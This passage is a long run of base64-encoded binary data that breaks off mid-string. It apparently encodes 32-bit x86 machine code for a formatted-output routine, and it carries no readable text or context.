X0i4WI+///i0BYhcAPhPsZAACLUBCLWBQ52g+D7RkAAI1KBIlIEMcCJQAAAA+2Vgz2wggPhL4WAAA5yw+GnhoAAI1RBMeFkPv//wIAAACJUBDHASMAAAAPtlYMhNIPiKYWAAD2wkAPhFQWAACLhYj7//+LQFiFwA+E3RsAAItQEDtQFA+D0RsAAI1KBIlIEMcCKwAAAIOFkPv//wEPtlYMg+IgdDCLhYj7//+LQFiFwA+EQxwAAItQEDtQFA+DNxwAAI1KBIlIEMcCLQAAAIOFkPv//wGDfhAwD4TiFwAA9kYNCHQwi4WI+///i0BYhcAPhL4ZAACLUBA7UBQPg7IZAACNSgSJSBDHAkkAAACDhZD7//8Bi04EhckPhNISAACNhdj7//+JhZT7//+Jw420JgAAAAC4zczMzIPrBPfhweoDjQSSAcApwYXSizyNwLoOCInRiTt13TudlPv//w+DjhIAAIm1hPv//4u1kPv//+spjXYAi1AQO1AUcy6NSgSD//+JSBCJOnQ4g8YBO52U+///D4NNEgAAizuLhYj7//+DwwSLQFiFwHXKg+wIV/+1iPv//+gbYgAAg8QQg/j/dciLhWz7//+7/////4XAD4Ws/P//i4WM+///hcAPhEf9//+D7AxQ6LlY/P+DxBDpNv3//5CLhTj7///HhYz7//8AAAAAiYWA+///6f/6//+QjXQmAA+2lXj7//8Ptr1Q+///D7aA4DsOCA+2jUj7//+JlTD7//8PtpVc+///iZU0+///D7aVWPv//4mVPPv//w+2lVf7//+JlVz7//8PtpVM+///iZVQ+///D7aVRPv//4iVV/v///8khWA4DgiNtgAAAAC4zP///2WLAIsAi1A0i0AsiYV0+///D7YAiVUohMB0CDx/D4UJ9v//x4V0+///AAAAAOn69f//ifaNvCcAAAAAi0YEiYWU+///6bv5///HBv////+7/////+nJ+f//952U+///g8ogx4WE+///AQAAAIuFlPv//4hWDIlGBOmH+f//uND///9lxwBLAAAAi4Vs+///hcAPhAT8///HhYz7//8AAAAAu//////pTPv//8eFWPv//woAAACLhVz7//+FwA+FLA0AAIuNUPv//4tGJIuVfPv//4XJjQRAD4RTEAAAD7YEgseFPPv//wAAAADHhTT7//8AAAAAiYVM+///icGF2w+2hVb7//8PiEcSAAAPhVUOAACFyQ+FTQ4AAIO9WPv//wgPhWULAACAvXj7//8AD4RYCwAAi4WA+///uQQAAADHhVD7//8BAAAAxoVX+///IMeFMPv//wEAAADHhVj7//8IAAAAjXj8x0D8MAAAAIm9ePv//420JgAAAAA7nVD7//8PjiQLAACJyMH4AinDidi7AAAAAA9J2IuFhPv//4XAD4XwCAAAi4VQ+///i72U+///Adgpx4uFTPv//4m9lPv//4XAdCkPtpUw+///g+IBg71Y+///EHUWi72U+///ifiD6AKE0g9Ex4mFlPv//4uFXPv//wuFNPv//wuFPPv//4P4AYOVlPv///+AvVf7//8gD4T7DgAAi4Vc+///hcAPhAUNAACLhYj7//+LQFiFwA+ErBQAAItQEDtQFA+DoBQAAI1KBIlIEMcCLQAAAIF9EP///38PhNz8//+DRRABi5VM+///hdJ0eoO9WPv//xB1cfaFMPv//wF0aIuFiPv//4tQWIXSD4SWFwAAi0IQi3oUOfgPg4gXAACBfRD///9/jUgEiUoQxwAwAAAAD4SE/P//OfkPgz8XAACNQQSJQhCLhZD7//+D+P+JAQ+EZfz//4F9EP7//38PhFj8//+DRRACA52U+///hdt+OIPsBFNqMP+1iPv//+i8VwAAg8QQOcMPhS78//+BfRD+//9/D4enAgAAuP///38rRRA5w3dhAV0Qi0UQhcAPiPwXAACLhYj7//+LmJQAAACJ2C2g0w4IOYVg+///D4Z4FAAAi71Q+///g+wEV/+1ePv///+1iPv///9THIPEEDnHD4XE+///uP///38rRRA5xw+OLAEAALjQ////ZccASwAAAOmj+///i4WM+///hcAPhZr0///pNPj//412AIu9lPv//4uVhPv//4PvAYX/D5+FlPv//4XSD7aFlPv//3VAhMB0PIPsBFdqIP+1iPv//+jYVgAAg8QQOccPhUr7//+BfRD+//9/D4dxFwAAuP///38rRRA5xw+Hef///wF9EItGJIuVfPv//40EQIsUgouFiPv//4tAWIXAD4RREgAAi0gQO0gUD4NFEgAAjVkEg/r/iVgQiREPhO36//+BfRD///9/D4Tg+v//i4WE+///g0UQAYXAD4Tk9v//gL2U+///AA+E1/b//4PsBFdqIP+1iPv//+gzVgAAg8QQOccPhaX6//+BfRD+//9/D4fMFgAAuP///38rRRA5xw+H1P7//wF9EOmW9v//hckPhev+//+LvZT7//+LjYT7//+D7wGF/w+fhZT7//+FyQ+2hZT7//91QITAdDyD7ARXaiD/tYj7///ow1UAAIPEEDnHD4U1+v//gX0Q/v//fw+HXBYAALj///9/K0UQOccPh2T+//8BfRCLRiSLlXz7//+D7AyNBEAPtgSCUOjfuQAAi5WI+///g8QQi1JYhdIPhBYVAACLShA7ShQPgwoVAACNWQSD+P+JWhCJAQ+F3v7//+nG+f//ifaNvCcAAAAAi0Yki718+///g+wEjQRAjQSHiYWk+///jYWk+///UFb/tYj7///oBdL//4PEEIXAD4iH+f//gX0Q/v//fw+GffX//2gcMw4IaOsHAABoNjIOCGicMg4I6JQt+/+NdCYAi0Yki5V8+///jQRAiwyChckPhPYRAACF24mNTPv//w+IKAcAAMeFkPv//3gAAAAxwMeFMPv//wEAAADHhVj7//8QAAAAx4Vc+///AAAAAMaFV/v//yCLvXT7//+F/w+VwiHCiJVQ+///usC6DgiLhVj7//+D+AoPhDoNAACD+BAPhPYGAACD+AgPhP0MAACLhYD7//+JnUj7//+LnVj7//+Jx4nIidGJ9o28JwAAAAAx0oPvBPfzixSRhcCJF3XwgL1Q+///AIm9ePv//4udSPv//w+FJwwAAIO9WPv//woPhdMGAACAvVX7//8AD4TGBgAAi72A+///i4V4+///ifmJ+uio7P//ifmJhXj7///HhVj7//8KAAAAKcGJyMH4AomFUPv//+l0+v//i4WI+///i0BYhcAPhEQQAACLUBA7UBQPgzgQAACNSgSJSBDHAiUAAACBfRD///9/D4T79///g0UQAekI9P//i41c+///i0Yki5V8+///hcmNBEAPhW8MAACLjVD7//+FyQ+EZQ8AAA++DIKJyMeFWPv//woAAADB6B+JhVz7//+JyMH4HzHBKcGJjUz7///pYvn//4uFiPv///ZAPAR0HIudaPv//4XbD4RIEAAAi41o+///hckPiIMTAACLRiSLlXz7//+NBECLBIKLlVz7//+F0g+ExwwAAItVEIkQwfofiVAE6V7z//+D7ARooA8AAP+1cPv///91IOilbvz/g8QQicIxyYXSD4R0DQAAg+EBD4XCCAAAg72Q+///Uw+EtQgAAIP7/4mVpPv//w+EMg4AAIPsCFNS6I/w+v+DxBCJw4H7////Pw+HL/v//408nQAAAACB/wAQAAAPh6cQAACNRx7HhZD7//8AAAAAg+DwKcSNRCQPg+DwicKNhaj7//+JlYD7///Hhaj7//8AAAAAx4Ws+///AAAAAFCNhaT7//9TUFLombkAAIPEEIP4/4nHi5WA+///D4Ry9v//i4WU+///KfiJhZT7//8PiCwKAACLjYT7//8PlYWA+///D7aFgPv//4XJdVKEwHROi52U+///g+wEiZV4+///U2og/7WI+///6KhRAACDxBA5ww+FGvb//4F9EP7//38Ph0ESAAC4////fytFEDnDD4dJ+v//AV0Qi5V4+///i0UQhcAPiE8SAACLhYj7//+LmJQAAACJ2C2g0w4IOYVg+///D4ZkDgAAg+wEiZV4+///V1L/tYj7////UxyDxBA5xw+Fq/X//7v///9/idgrRRA5xw+H5fn//wF9EIu9hPv//4uVePv//4X/dFKAvYD7//8AdEmLvZT7//+D7ASJlYT7//9XaiD/tYj7///o41AAAIPEEDnHD4VV9f//gX0Q/v//fw+HfBEAACtdEDnfD4eJ+f//AX0Qi5WE+///i42Q+///hckPhDzx//+D7AxS6ABO/P+DxBDpK/H//8eFWPv//xAAAADpg/b//4tGJIuVfPv//4PsBI0EQI0EgomFoPv//42FoPv//1BW/7WI+///6B7M//+DxBCFwA+JSfv//+nL9P//jbYAAAAAx4VY+///CAAAAOkz9v//i0Yki718+///jQRAixSH6Xf9//+LhVz7//+FwA+EFAQAAIuFiPv//4tAWIXAD4TuCwAAi1AQO1AUD4PiCwAAjXoEiXgQxwItAAAAgX0Q////fw+EXvT//4NFEAGDrZT7//8Bi4VM+///hcAPhJEAAACDvVj7//8QD4WEAAAA9oUw+///AXR7i4WI+///i1BYhdIPhGEOAACLehSLQhA5+Im9hPv//w+DTQ4AAIF9EP///3+NeASJehDHADAAAAAPhPHz//85vYT7//8PhvUNAACJ+IPABIlCEIuVkPv//4P6/4kXD4TM8///gX0Q/v//fw+Ev/P//4NFEAKDrZT7//8CwfkCi5WU+///jQQLKcKF24nXdEiD7ASJjZT7//9TajD/tYj7///oDE8AAIPEEDnDD4V+8///gX0Q/v//fw+H9/n//7j///9/K0UQOcMPh633//8BXRCLjZT7//+LRRCFwA+IQg8AAIuFiPv//4uYlAAAAInYLaDTDgg5hWD7//8PhjwLAACD7ASJjZT7//9R/7V4+////7WI+////1Mci42U+///g8QQOcEPhQTz//+7////f4nYK0UQOcEPjz73//8BTRCF/w+O/e7//4PsBFdqIP+1iPv//+hZTgAAg8QQOccPhcvy//+BfRD+//9/D4dE+f//K10Qifg53w+GxO7//+n49v//i4WA+///x4VQ+///AAAAADHJxoVX+///IImFePv//4uFTPv//4XAD4Q7AgAAD7aVMPv//4PiAYO9WPv//wh1IoTSdB6LvXj7//+LjYD7//+NR/zHR/wwAAAAKcGJhXj7//+JyMH4AinDid+7AAAAAA9J34u9hPv//4X/D4WJ/f//i72U+///iYVQ+///Adgpx4m9lPv//+mo9P//uwEAAADHhTD7//8BAAAAusC6DgjHhVz7//8AAAAAx4WQ+///eAAAAMaFUPv//wCLhYD7//+Jx410JgCJyMHpBIPvBIPgD4XJiwSCiQd17Im9ePv//8eFWPv//xAAAACAvVD7//8AD4VHBQAAi42A+///K414+///icjB+AKJhVD7///py/P//42F4Pv//8eFjPv//wAAAAAx/zHbiYWU+///6T3p///o17n7/+mt7f//g+wM/7WM+///6DRK/P+DxBDpbe3//4tGJIu9fPv//8eFPPv//wAAAADHhTT7//8AAAAAx4Vc+///AAAAAI0EQItUhwSLBIeJlSz7//+JhSj7//+F2w+IKQUAAA+FXgEAAIuVKPv//4uNLPv//4nQicoJwg+FRgEAAIO9WPv//wgPhbIGAACAvXj7//8AD4SlBgAAi4WA+///uQQAAADHhVD7//8BAAAAxoVX+///II14/MdA/DAAAACJvXj7//+LhSj7//+LlSz7//+JxzHACdcPlcCJhUz7///pw/L//4uFPPv//4XAD4SdAwAAi4WI+///i0BYhcAPhCgKAACLUBA7UBQPgxwKAACNegSJeBDHAisAAADp2fv//4uVhPv//4nIwfgCKcMPSJ1M+///hdIPhYb7//+LhVD7//+LlZT7//8B2CnCiZWU+///6cTy//+LvTz7//+F/w+EZgMAAIuFiPv//4tAWIXAD4QBCQAAi1AQO1AUD4P1CAAAjUoEiUgQxwIrAAAA6ejy///GhVf7//8gg72Q+///WA+Ftvb//4uVdPv//4XSD5XCIcKIlVD7//+6ILoOCOmx9v//xoVX+///IIPsDDHAg72Q+///WIu9gPv//w+UwFD/tVj7//9X/7Us+////7Uo+///6E7MAQCLjXT7//+DxCCJhXj7//+FyXQlgL1W+///AHQci4V4+///g+wM/3Uoifrob+L//4mFePv//4PEDIO9WPv//wp1DYC9Vfv//wAPhRoFAACLjYD7//8rjXj7//+JyMH4AomFUPv//+lh/v//i0SC4IXAD4RD7P//i4WE+///iY14+///iwSYg8Aeg+DwKcSNRCQPg+wIg+DwiQaJhYD7//+LBJlX/7WA+////1SC4IPEEIuNePv//+mW6///g+wMV+hqJf7/g8QQhcAPha/p//+D7AxX6DZE/P+DxBCFwImFjPv//w+E0+///4u9lPv//40UnYAAAACNBL2AAAAAOd8PTMIDhYz7//+JhYD7///ppen//4P7/w+EIgYAAIPsCImVgPv//1NS6BK0AACDxBCJx8eFkPv//wAAAACLlYD7///ps/f//4u9lPv//4X/D4+fAwAAx4WU+///AAAAAOno8P//hf8PhSwEAACLBILHhTz7//8AAAAAx4U0+///AAAAAImFTPv//4nB6aHv//+JtZD7//+LtYT7//+LHoP7/w+EUAQAAIuFiPv//4tAWIXAD4RYBwAAi1AQO1AUD4NMBwAAjUoEiUgQxwIuAAAAg4WQ+///AY2F2Pv//4nZiYWU+///icOQjbQmAAAAALjNzMzMg+sE9+HB6gONBJIBwCnBhdKLPI3Aug4IidGJO3XdO52U+///D4PZAwAAibWE+///i7WQ+///6zmNdgCLUBA7UBRzPo1KBIP//4lIEIk6D4Qk7f//gf7///9/D4QY7f//g8YBO52U+///D4OIAwAAizuLhYj7//+DwwSLQFiFwHW6g+wIV/+1iPv//+j7TgAAg8QQg/j/dbzp2+z//422AAAAAIuFNPv//4XAD4R0+P//i4WI+///i0BYhcAPhDsIAACLUBA7UBQPgy8IAACNegSJeBDHAiAAAADpLvj//4uNNPv//4XJD4Sz7///i4WI+///i0BYhcAPhPUHAACLUBA7UBQPg+kHAACNSgSJSBDHAiAAAADpdO///4uNdPv//4uVgPv//4PsDIuFePv///91KOhz3///iYV4+///g8QM6a7z//+LXRCF2w+IjQgAAIuFiPv//4uYlAAAAInYLaDTDgg5hWD7//8Phm0HAACD7ARXUv+1iPv///9THIPEEDnHD4RX8f//6err//+QjXQmALsBAAAA6RH8//+7AQAAAOk4/P//i4WA+///iceNdCYAicjB6QOD7wSD4AeFyYsEgokHdeyJvXj7///p9fn//4uFgPv//4mdSPv//4nTiceJ9o28JwAAAAC4zczMzIPvBPfhweoDjQSSAcApwYXSiwSLidGJB3Xh6czy//+NBIKLeASJ+om9WPv//8H/H8HqH4m9IPv//4m9JPv//4mVXPv//4s4i5Ug+///i40k+///MdeJ0Im9KPv//4u9WPv//8eFWPv//woAAAAxzymFKPv//4m9LPv//xmNLPv//+n2+f//9sIQD4TX6f//i4WI+///i0BYhcAPhEMGAACLUBA7UBQPgzcGAACNSgSJSBDHAiAAAADpnun//4TSx4WQ+///AQAAAA+JWun//4tQEDtQFA+DDQQAAI1KBIlIEMcCJwAAAIOFkPv//wEPtlYM6TLp//+LnVD7//+F2w+EfwIAAA+2VRCIEOmO5v//g+wEV2og/7WI+///6OpFAACDxBA5xw+FXOr//4F9EP7//38Ph9Xw//+4////fytFEIuVlPv//znCD4eF7v//AVUQx4WU+///AAAAAOkH7f//i4WA+///x4VQ+///AAAAADHJxoVX+///IImFePv//+lj+f//i72A+///i4V4+///ifmJ+uhB3v//ifmJhXj7//8pwYnIwfgCiYVQ+///6TT5//8PtwSCx4U8+///AAAAAMeFNPv//wAAAACJhUz7//+Jwel06///g/v/x4WQ+///AAAAAHQQMf+D+wW6FDgOCA+OHvP//78GAAAAuhg4DgjpD/P//4m1kPv//4u1hPv//4tGCIXAdEWLvYj7//+LV1iF0g+E8gQAAItKEDtKFA+D5gQAAI1ZBIP4/4laEIkBD4RA6f//gb2Q+///////fw+EMOn//4OFkPv//wGBfRD+//9/D4c3BQAAuP///38rRRCLvZD7//85xw+Gfu7//+lN7f//i4WI+///i0BYhcAPhKsEAACLUBA7UBQPg58EAACNSgSJSBDHAjAAAACDhZD7//8B6enn//+D7AxS6KZh/P+DxBCJw+nK8f//g+wIUv+1iPv//+i9SgAAg8QQg/j/D4Wx7f//6Zno//+NdCYAg+wIiY2E+///ai3/tYj7///okkoAAIPEEIP4/4uNhPv//w+FAvT//+lo6P//jXYAhf8PhewBAACLDILpj/D//4PsCGot/7WI+///6FhKAACDxBCD+P8PhVDr///pNOj//420JgAAAACD7AyJlYD7//9S6Nnh+v+DxBCJx8eFkPv//wAAAACLlYD7///pkvH//4X/D4V/AQAAi1UQiRDpCOT//4mNlPv//+hasPv/i42U+///6a70//+D7AhqJf+1iPv//+jfSQAAg8QQg/j/D4W47///6bvn//+NtgAAAACD7AhqJf+1iPv//+i4SQAAg8QQg/j/D4SZ5///D7ZWDPbCCA+EJAEAAIuFiPv//4tAWIXAD4SYAAAAi0gQi1gU6efl///o3q/7/+l+6///iZV4+///6M6v+/+LlXj7///phvH//4P7BbgFAAAAugA4DggPTNjp7Pj//4udZPv//4PsDFPo5+D6/1qNBIUEAAAAWVBT6L/kAACDxBCJhWj7///pi+///4PsCGpJ/7WI+///6BFJAACDxBCD+P8PhT7m///p7eb//4PsCGor6ZP+//+D7AhqI/+1iPv//+jmSAAAg8QQg/j/D4TH5v//D7ZWDMeFkPv//wIAAACE0g+JUuX//4uFiPv//4tAWIXAD4Xn+///g+wIaif/tYj7///oo0gAAIPEEIP4/w+F4/v//+l/5v//ZpAPt30QZok46Yfi//8PvwyC6aLu///HhZD7//8BAAAA66OD7AhqLv+1iPv//+hfSAAAg8QQg/j/D4RA5v//ix7pnfj//4PsCImNhPv//2or6Z/9//+D7AxX6OMc/v+DxBCFwA+FRe///4PsDFforzv8/4PEEIXAicIPhP/l///HhZD7//8BAAAA6Tvv//+D7Aj/tZD7////tYj7//+JjYT7///o6UcAAIPEEIP4/4uNhPv//w+F+PH//+m/5f//ZpCD7AiJjYT7//9qMP+1iPv//+i6RwAAg8QQg/j/i42E+///D4SV5f//gX0Q////fw+EiOX//4uFiPv//4tQWIXSdIuLQhCJx4tCFImFhPv//+l38f//g+wIaiv/tYj7///oa0cAAIPEEIP4/w+FH+T//+lH5f//jXYAjbwnAAAAAIPsCP+1kPv///+1iPv//+g8RwAAg8QQg/j/D4W46P//6Rjl//+NdgCD7AhqMP+1iPv//+gYRwAAg8QQg/j/D4T55P//gX0Q////fw+E7OT//4uFiPv//4tQWIXSdKKLQhSLShCJx+lO6P//g+wIUOkU/P//g+wIai3/tYj7///ozEYAAIPEEIP4/w+FueP//+mo5P//jXYAg+wIaiDpOP///4mVlPv//+gDrfv/i5WU+///6X34//+D7AhqIOkr/P//g+wIiY2E+///aiDp4fv//4PsCFD/tYj7///ob0YAAIPEEIP4/w+FEPv//+lL5P//jbYAAAAAg+wIajD/tYj7///oSEYAAIPEEIP4/w+FUfv//+kk5P//aBwzDgho5AcAAGg2Mg4IaJwyDgjoPhj7/2gcMw4IaOsHAABoNjIOCGjMMg4I6CUY+/+D7Axo8DIOCOgorPv/aBwzDghoBwgAAGg2Mg4IaJwyDgjo/xf7/2gcMw4IaOwHAABoNjIOCGicMg4I6OYX+/9oHDMOCGgTCAAAaDYyDghozDIOCOjNF/v/aBwzDgho7AcAAGg2Mg4IaMwyDgjotBf7/+gvIP7/6w2QkJCQkJCQkJCQkJCQVYnlV1ZTgeyEEAAAi0UQi10Ii3UMiYXw7///ZaEUAAAAiUXkMcC40P///2WLAGoBU4mF6O///+i0UQAAg8QQg/gBD4X4AQAAiwOoCA+F1gEAAIX2D4QmFQAAg+wIagFT6ItRAACDxBCD+AEPhc8BAACLO4n4g+ACiYXg7///D4WsAAAAg+wIi4Xw7///aiVWiYUA8P//6DWpAACDxBCB5wCAAACJheTv//+Jhfzv//+Jvezv//8PhawAAAC4AAAAAIXAD4SHAQAAjYUY8P//g+wEU2hQzgkIUOgiWvb3g8QQ9wMAgAAAx4Xs7///AQAAAHV/i1NIZYs9CAAAADt6CHQkMcC5AQAAAGWDPQwAAAAAdAHwD7EKdAeNCuhQGf7/i1NIiXoIg0IEAetGjXQmAIuN8O///4nyidjowSUAAImF9O///4t15GUzNRQAAACLhfTv//8PhcsjAACNZfRbXl9dw5CNdCYAx4Xs7///AAAAAIu7lAAAALi01w4ILaDTDgiJwYmF3O///4n4LaDTDgg5wQ+G1xMAAIuF5O///4PsBCnwwfgCUFZTiYX07////1ccg8QQOYX07///D4SmAAAAx4X07/////////cDAIAAAHUni1NIg2oEAXUex0IIAAAAAGWDPQwAAAAAdAHwgyoBdAeNAuilGP7/i4Xs7///hcAPhDz///+NhRjw//+D7AhqAFDo5lj294PEEOkj////jbYAAAAAg8ggiQO40P///2XHAAkAAACNtCYAAAAAx4X07////////+n2/v//kMeFGPD//1DOCQiJnRzw///pjv7//412AIuV/O///4sChcAPhFT///+hNIMQCIXAD4VzAQAAoTiDEAiFwA+FZgEAAKGsgxAIhcAPhVkBAADHhZzv//8AAAAAx4Wo7///AAAAAMeFtO/////////HhaTv//8AAAAAjUIEiYX87///i0IEjVDgiYXg7///uCCsCQiD+lp3Dg+2guA7DgiLBIVgOw4IjVXkx4WY7///AAAAAMeF0O///wAAAADHhczv//8AAAAAMcnHhaDv//8AAAAAMf/Hhazv//8AAAAAx4W87///AAAAAMeFyO///wAAAADHhbjv//8AAAAAx4Ww7///AAAAAMeFwO///yAAAADHhdTv////////iZXE7///x4XY7///AAAAAP/gi4X87///jVAEi0AEiZX87///iYXg7///g+ggg/haD4eBAwAAD7aA4DsOCLkBAAAAvwEAAACLBIVgOQ4I/+CLhfzv//+NUASLQASJlfzv//+JheDv//+D6CCD+FoPh0MDAAAPtoDgOw4IMckx/4sEhWA5Dgj/4I20JgAAAADHhZzv//8AAAAAx4W07////////8eFpO///wAAAACNhUTw//+D7Az/taTv////tbTv////tejv//+J8lCNhQDw//+LjZzv////teTv////teDv////tfTv//9Qidj/tfDv///okNX//4PEMImF9O///+le/f//i73Q7///i5XI7///g+8Bhf+JvdTv//8Pn4Xg7///hdIPtoXg7///dUiEwHREg+wEV2ogU+hJOgAAg8QQOccPhY4CAACLlfTv//+B+v7//38Ph+ohAAC4////fynQOccPh7EUAACLldTv//8BlfTv//+LhfDv//+NUASLCItDWImV8O///4XAD4T5GwAAi1AQO1AUD4PtGwAAjXoEg/n/iXgQiQoPhCgCAACBvfTv//////9/D4QYAgAAi4XI7///g4X07///AYu99O///4XAdFmAveDv//8AdFCD7AT/tdTv//9qIFPolzkAAIuN1O///4PEEDnBD4XWAQAAgf/+//9/D4c4IQAAuP///38p+DnBD4f/EwAAi5XU7///AZX07///jbQmAAAAAIuN2O///4OFqO///wGFyQ+FxBQAAIuF/O///4PsCGoljXgEV4m9/O///+gJpAAAi5X07///g8QQiYX87///hdIPiLcgAACLi5QAAACJyoHqoNMOCDmV3O///w+GXRQAACn4g+wEwfgCUFdT/1Eci5X87///g8QQidEp+cH5AjnID4Wk+///i7307///uf///38p+TnID48RFAAAAceLAom99O///4XAD4WC/P//6YL7//+Lhfzv//+NUASLQASJlfzv//+JlSjw//+D6DCD+Al3M42FKPD//4mN4O///+iFz///g/j/i43g7///D4T6EgAAhcB0D4uFKPD//4M4JA+EoxcAAIuF8O///41QBIsAiZXw7///hcCJhdDv//8PiMwZAACBvdDv///e//8fD4+4EgAAi4XQ7///PccDAAB+Ko0UhYAAAACB+gAQAAAPh38eAACNQh6D4PApxI1EJA+D4PAB0ImFxO///4uF/O///4sAiYXg7///g+ggg/haD4bNCwAAjXYAi73g7///hf8PhRIXAAC40P///2XHABYAAACNtgAAAACLhdjv//+FwA+EdPr//4PsDP+12O///+j0NPz/g8QQ6V76//+LhfDv//+LEIPABImF8O///4XSD4RGFwAAhckPhQ0UAACDveDv//9TD4QAFAAAi4XU7///iZUo8P//g/j/D4Q6GQAAg+wIUFLoV9X6/4PEEInBgfn///8/D4fCEQAAjTyNAAAAAIH/ABAAAA+H4RwAAIPHHseF4O///wAAAACD5/Ap/I1UJA+D4vCNhTzw//+JldTv///HhTzw//8AAAAAx4VA8P//AAAAAFCNhSjw//9RUFLoY54AAIPEEIP4/4nBi5XU7///D4QP////i4XQ7///KciJhdDv//8PiJYVAACLvcjv//8PlYXU7///D7aF1O///4X/dWaEwHRii73Q7///g+wEiY3E7///iZXM7///V2ogU+hxNgAAg8QQOccPhbb+//+LjfTv//+B+f7//38PhxIeAAC4////f4uVzO///ynIi43E7///OccPh80QAACLvdDv//8BvfTv//+LhfTv//+FwA+I9h0AAIu7lAAAAIn4LaDTDgg5hdzv//8Phq8aAACD7ASJjcTv//+Jlczv//9RUlP/VxyLjcTv//+DxBA5wQ+FMP7//7////9/i5XM7///ifgrhfTv//85wQ+HWRAAAIuFyO///wGN9O///4XAdF6AvdTv//8AdFWD7AT/tdDv//+JldTv//9qIFPolTUAAIuV0O///4PEEDnCD4XU/f//i4X07///Pf7//38PhzEdAAApxzn6i5XU7///D4f3DwAAi43Q7///AY307///i4Xg7///hcAPhPH7//+D7AxS6KAy/P+DxBDp4Pv//4X/D4VrFQAAi43M7///i4Xw7///hckPhY8YAACLlaDv//+F0g+F7hYAAIsIg8AEiYXw7///icjHhZTv//8KAAAAwegfiYXM7///icjB+B8xwSnBiY2Q7///jbQmAAAAAIuF1O///4XAD4hhEAAAD4X0DQAAhckPhewNAACDvZTv//8ID4VbFAAAi4Ww7///hcAPhE0UAACLhcTv//+5BAAAAMeFrO///wEAAADHhcDv//8gAAAAx4WU7///CAAAAI1Q/MdA/DAAAACJlaDv//+QjbQmAAAAAIuVrO///zmV1O///w+PJg0AAIu9kO///4X/D4QbDwAAg72U7///CA+2hbDv//91IoTAdB6LvaDv//+LjcTv//+NV/zHR/wwAAAAKdGJlaDv//+LvdTv//+JysH6AomVxO///ynXugAAAAAPSdeJldTv//+Llcjv//+F0g+FjwoAAIuNxO///4uV1O///4mNrO///wHKi43Q7///KdGDvZTv//8QdQiNUf6EwA9FyouFzO///wuFuO///wuFvO///4P4AYPR/4O9wO///yAPhNEQAACLhczv//+FwA+EnQ4AAItDWIXAD4SCFgAAi1AQO1AUD4N2FgAAjXoEiXgQxwItAAAAi4X07///Pf///38PhJv7//+DwAGJhfTv//+LvZDv//+F/w+EjgAAAIuVsO///4XSD4SAAAAAg72U7///EHV3i0NYhcAPhI4YAACLeBSLUBA5+om90O///w+DehgAAIG99O///////3+J141SBIlQEMcHMAAAAA+EMPv//zuV0O///w+DJRgAAI16BIl4EIuF4O///4P4/4kCD4QN+///gb307////v//fw+E/fr//4OF9O///wKLldTv//8ByoXSfkqD7ASJleDv//9SajBT6IgyAACLleDv//+DxBA5wg+Fx/r//4uN9O///4H5/v//fw+H8RkAALj///9/Kcg5wg+H6gwAAAGV9O///4uF9O///4XAD4gyGgAAi5OUAAAAidAtoNMOCDmF3O///w+G7RUAAIu9rO///4PsBFf/taDv//9T/1Icg8QQOccPhVr6//+4////fyuF9O///znHD4+LDAAAi5Ws7///AZX07///6Y74///HhZTv//8KAAAAhf+LhfDv//8PhXQNAACLjczv//+FyQ+FCBAAAIuVoO///4XSD4WQDgAAiwiDwASJjZDv///Hhbzv//8AAAAAiYXw7///x4W47///AAAAAOmw/P//i0NYhcAPhFcVAACLUBA7UBQPg0sVAACNSgSJSBDHAiUAAACLhfTv//89////fw+EpPn//4PAAYmF9O///+nu9///i4X87///jVAEi0AEiZX87///iYXg7///g+ggg/haD4dS+f//D7aA4DsOCLkBAAAAiwSF4DgOCP/gx4WU7///CAAAAOki////x4WU7///EAAAAOkT////i4XU7///jRSNAAAAAA+2jbDv///HhTTw//8AAAAAiYUo8P//i4XQ7///weEDiYUs8P//i4Xg7///iYUw8P//D7aFoO///wHACfgJ0A+2lbjv//8JyA+2jcjv///B4gTB4QUJ0A+2lbzv//8JyA+2jazv///B4gYJ0MHhBwnBD7aFmO///4iNNPD//8HgA4PIBIX/iIU18P//i4XA7///iYU48P//i4Xw7///D4S+DwAA2yiDwAyJhfDv///bvQzw//+NhQzw//+D7ASJhQTw//+NhQTw//9QjYUo8P//UFPoyqv//4PEEIXAD4hP+P//i4307///gfn+//9/D4d5FwAAuv///38pyjnQD4dyCgAAAYX07///6Xv2//+LhdTv//+NFI0AAAAAD7aNsO///8eFNPD//wAAAADGhTXw//8EiYUo8P//i4XQ7///weEDiYUs8P//i4Xg7///iYUw8P//D7aFoO///wHACfgJ0A+2lbjv//8JyA+2jcjv///B4gTB4QUJ0A+2lbzv//8JyA+2jazv///B4gYJ0MHhBwnBi4XA7///hf+IjTTw//+JhTjw//+LhfDv//8PhMQOAADbKIPADImF8O///9u9DPD//42FDPD//4PsBImFCPD//42FCPD//1CNhSjw//9QU+jqq///g8QQhcAPifD+///pOvf//412AI28JwAAAACLlfDv//+LConQg8AEhckPhBQTAACJjZDv//+JhfDv///Hhazv//8AAAAAx4Ww7///AQAAAMeFzO///wAAAADHheDv//94AAAAx4WU7///EAAAAOmw+f//i4X87///jVAEi0AEiZX87///iYXg7///g+ggg/haD4eU9v//D7aA4DsOCMeFuO///wEAAACLBIVgOw4I/+CNhUTw//+D7ARooA8AAFD/tejv///oIEr8/4PEEInCMcnpqfb//4XJD4Wa8///i73Q7///i5XI7///g+8Bhf8Pn4Xg7///hdIPtoXg7///dUSEwHRAg+wEV2ogU+jpLQAAg8QQOccPhS72//+BvfTv///+//9/D4eMFQAAuP///38rhfTv//85xw+HTwgAAAG99O///4uF8O///4PsDI1QBA+2AImV1O///1Do+pEAAItTWIPEEImF8O///4XSD4SdEwAAi0oQO0oUD4OREwAAjUEEiUIQi4Xw7///g/j/iQEPhLP1//+BvfTv//////9/D4Sj9f//i4XI7///g4X07///AYXAD4SgEAAAgL3g7///AA+EkxAAAFFXaiBT6CctAACDxBA5xw+FbPX//4uV9O///4H6/v//fw+HyBQAALj///9/KdA5xw+HjwcAAIuF1O///wG99O///4mF8O///+mM8///jXQmAPZDPAR0DouFnO///4XAD4Q+EQAAi5Xw7///hf+LAg+F2QwAAIu9zO///4X/D4UyEAAAi42g7///hckPhcAOAACLjfTv//+JCInQg8AEiYXw7///6TDz//+Nhfzv//+JjeDv///oh8P//z3e//8fiYXQ7///i43g7///D4f0BgAAi4XQ7///PccDAAB+Ko0UhYAAAACB+gAQAAAPhyoTAACNQh6D4PApxI1EJA+D4PAB0ImFxO///4uF/O///4sAg/gkD4RoCwAAiYXg7///g+ggg/haD4c29P//D7aA4DsOCP8kheA6DgiLhfzv//+NUASLQASJlfzv//+JheDv//+D6CCD+FoPhwT0//8PtoDgOw4Ix4Wg7///AQAAAIsEheA5Dgj/4IuF/O///41QBItABImV/O///4mF4O///4PoIIP4Wg+HxvP//w+2gOA7DgjHhczv//8BAAAAx4Wg7///AAAAAIsEhWA5Dgj/4IuFyO///4XAuDAAAAAPR